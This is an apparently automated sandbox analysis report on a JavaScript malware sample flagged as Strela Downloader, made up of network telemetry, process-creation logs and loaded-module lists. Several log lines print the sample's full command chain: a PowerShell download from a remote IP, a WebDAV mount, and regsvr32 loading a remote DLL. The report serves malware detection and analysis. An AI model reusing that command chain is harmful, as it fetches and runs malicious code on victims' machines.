HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2063759283.000001BD258DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2109862308.000001D42D3BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109862308.000001D42D3CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109862308.000001D42D3A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2109862308.000001D42D3CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.?
Source: net.exe, 00000007.00000002.2109862308.000001D42D3CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S
Source: net.exe, 00000007.00000002.2109862308.000001D42D3CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Z?
Source: net.exe, 00000007.00000002.2109862308.000001D42D3A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/aJ
Source: net.exe, 00000007.00000002.2109862308.000001D42D3A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spacelG
Source: svchost.exe, 00000009.00000002.3350096235.000002768E200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2111791558.000002768DF90000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7316, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 133313712272908537.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yb4oamsn.zqa.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\133313712272908537.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2056 --field-trial-handle=1620,i,6809152963061075272,15382052430642009237,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2730330751638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2056 --field-trial-handle=1620,i,6809152963061075272,15382052430642009237,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
